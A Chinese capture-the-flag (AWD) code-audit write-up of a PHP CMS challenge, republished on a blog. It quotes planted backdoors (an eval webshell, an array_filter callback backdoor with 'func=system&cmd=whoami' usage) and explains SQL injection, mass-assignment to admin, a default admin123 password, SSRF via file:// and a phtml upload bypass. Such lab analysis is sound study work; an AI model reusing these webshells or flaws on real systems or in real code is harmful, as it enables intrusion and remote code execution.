西湖论剑awd_web1——代码审计

2019-04-26 约 1699 字 预计阅读 4 分钟

声明:本文 【西湖论剑awd_web1——代码审计】 由作者 ckj123 于 2019-04-26 09:48:00 首发 先知社区 曾经 浏览数 14 次

感谢 ckj123 的辛苦付出!

西湖论剑awd_web1——代码审计

打比赛的时候为了省时看到一个洞就直接打了然后权限维持就没仔细看,趁着有空看一下(主要拿分还是靠web2)
代码量并不是很大

解密文件

首先在libs里面可以看到经过了加密的
可以通过echo来解密出来
echo($ooo000($ooo00o($o00o)));
解密的一部分文件

lib_common.php

<?php
include "/var/www/html/config/config.php";

define('DEBUG', false);
define('ADMIN', false);
define('FLAG', null);
define('SECRET', '5a689e4c8390f0e0cb65a8ad852f5fe7');
define('APP_NAME', $cfg_appname ? $cfg_appname : 'mycms');
define('APP_VERSION', $cfg_version ? $cfg_version : '1.0.0');
define('APP_AUTHOR', $cfg_auther ? $cfg_auther : 'unknown');
$data = array_merge($_POST,$_GET);

class_user.php

class User
{

    public static function getAllUser()
    {
        $sql = 'select * from `user`';
        $db  = new MyDB();
        if (!$users = $db->exec_sql($sql)) {
            return array(array('id' => 1, 'name' => 'admin', 'password' => self::encodePassword('admin123'), 'role' => 1));
        }
        return $users;
    }

    public static function getNameByID($id)
    {
        $users = User::getAllUser();
        for ($i = 0; $i < count($users); $i++) {
            if ($users[$i]['id'] === $id) {
                return $users[$i]['name'];
            }
        }
        return null;
    }

    public static function getIDByName($name)
    {
        $users = User::getAllUser();
        for ($i = 0; $i < count($users); $i++) {
            if ($users[$i]['name'] === $name) {
                return $users[$i]['id'];
            }
        }
        return null;
    }

    public static function getRoleByName($name)
    {
        $users = User::getAllUser();
        for ($i = 0; $i < count($users); $i++) {
            if ($users[$i]['name'] === $name) {
                return $users[$i]['role'];
            }
        }
        return null;
    }

    public static function check($name, $password,$raw=0)
    {
        $users = User::getAllUser();
        for ($i = 0; $i < count($users); $i++) {
            if(!$raw){
            if ($users[$i]['name'] === $name && $users[$i]['password'] === self::encodePassword($password) && $users[$i]['status'] == 1) {
                return true;
            }
            }else{
                if ($users[$i]['name'] === $name && $users[$i]['password'] === $password && $users[$i]['status'] == 1) {
                return true;
            }
            }
        }
        return false;
    }

    public static function encodePassword($str)
    {
        return md5($str . constant('SECRET'));
    }

    public static function setting($data)
    {
        if (isset($data['id']) && $data['id']) {
            $sql = 'select * from `user` where `id`=' . $data['id'] . ' limit 0,1';
        } else {
            return array('msg' => '参数错误', 'code' => -1, 'data' => array());
        }
        $db = new MyDB();
        if (!$result = $db->exec_sql($sql)) {
            return array('msg' => '暂无数据或记录已删除', 'code' => -1, 'data' => array());
        }
        if ($result['role'] == 1) {
            return array('msg' => '管理员数据不可更改', 'code' => -1, 'data' => array());
        }
        if ($result['status'] == 1) {
            $status = 0;
        } else {
            $status = 1;
        }

        $sql = 'update `user` set `status`=' . $status . ' where `id`= ' . $data['id'];
        if (!$result = $db->exec_sql($sql)) {
            return array('msg' => '数据库异常', 'code' => -1, 'data' => array());
        }
        return array('msg' => '操作成功', 'code' => 0, 'data' => array());
    }

    public static function insertuser($data)
    {
        $db = new MyDB();
        $sql = "insert into user(".implode(",",array_keys($data)).") values ('".implode("','",array_values($data))."')";
        if (!$result = $db->exec_sql($sql)) {
            return array('msg' => '数据库异常', 'code' => -1, 'data' => array());
        }
        return array('msg' => '操作成功', 'code' => 0, 'data' => array());
    }
}

class_debug.php

class Debug {    
    public $msg='';    
    public $log='';    
    function __construct($msg = '') {        
        $this->msg = $msg;       
        $this->log = 'errorlog';        
        $this->fm = new FileManager($this->msg);    
    }    
    function __toString() {        
        $str = "[DEUBG]" . $msg;        
        $this->fm->save();         
        return $str;
    }

    function __destruct() {
        file_put_contents('/var/www/html/logs/'.$this->log,$this->msg);
        unset($this->msg);
    }
}

后门

shell.php

进目录就可以看到一个shell.php

<?php
session_start();
if ($_SESSION['role'] == 1) {
    eval($_POST[1]);
}

条件是$_SESSION['role'] == 1
那么看一下什么时候$_SESSION['role'] == 1

login.php

session_start();

if (isset($data['user']) && isset($data['pass'])) {
    $user = $data['user'];
    $pass = $data['pass'];
if (User::check($user, $pass)) {
        setcookie("auth",$user."\t".User::encodePassword($pass));
        $_SESSION['user'] = User::getIDByName($user);
        $_SESSION['role'] = User::getRoleByName($user);
        $wrong            = false;
        header("Location: index.php");
    } else {
        $wrong = true;
    }
}

role是通过那个user的加密文件里面的函数来获得的思考一下反正是通过数据库来获得的就去查看一下数据库

可以看到admin的role为1就是要登录admin

register.php
可以看到password存进去之前是有加密的
貌似一筹莫展的时候想起来web2后台的弱密码是admin123
于是我也想试一下结果就登录了???

跑了一下应该是个admin123加盐的MD5

解一下加密文件之后可以看到

当没有user的时候可以通过admin123登录

footer.php

footer.php也是一个后门而且在每一个页面都有导入

if($_SERVER['SCRIPT_FILENAME']==__FILE__){
    echo '<p>© mycms</p>';
}else{
    array_filter(array(base64_decode($data["name"])), base64_decode($data["pass"]));
}

array_filter的运行脚本

#用回调函数过滤数组中的元素:array_filter(数组,函数)
#命令执行func=system&cmd=whoami
#菜刀连接http://localhost/123.php?func=assert  密码cmd
$cmd=$_POST['cmd'];
$func =$_GET['func'];
array_filter(array($cmd),$func);


passname是post的值直接可以控可直接getshell

down.php

很明显有一个ssrf

但是过滤了http
可以用file协议来读本地的源码
但是用大小写绕过正则也绕不过file_exist
导致无法直接获得flag
可能是不能访问公网内网可以??

article.php

在写文章的地方存在XSS但是其实并没有什么用
我觉得线下awd都是很少访问文章的
但是存在一个文件上传
class_article.php中存在黑名单

可以发现他的黑名单里面并没有phtml
就可以上传一个phtml来getshell

class_user.php

public static function insertuser($data)
{
    $db = new MyDB();
    $sql = "insert into user(".implode(",",array_keys($data)).") values ('".implode("','",array_values($data))."')";
    if (!$result = $db->exec_sql($sql)) {
        return array('msg' => '数据库异常', 'code' => -1, 'data' => array());
    }
    return array('msg' => '操作成功', 'code' => 0, 'data' => array());
}

在这里可以看到在注册的时候
可以自定义key和value,
那么只要key为role
value为1就可以成为管理员来运行shell.php了

在这里有个raw如果把raw改掉的话就可以直接通过MD5
的值进行登录在权限维持的时候可能会有一点帮助

总结

还是太菜了可能有很多地方还没看到
希望有大佬告诉我下哪里还可以有操作的地方
不得不吐槽一下阿里云传个shell上去就把我ip ban了

参考链接

http://www.cnblogs.com/fox-yu/p/9134848.html

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now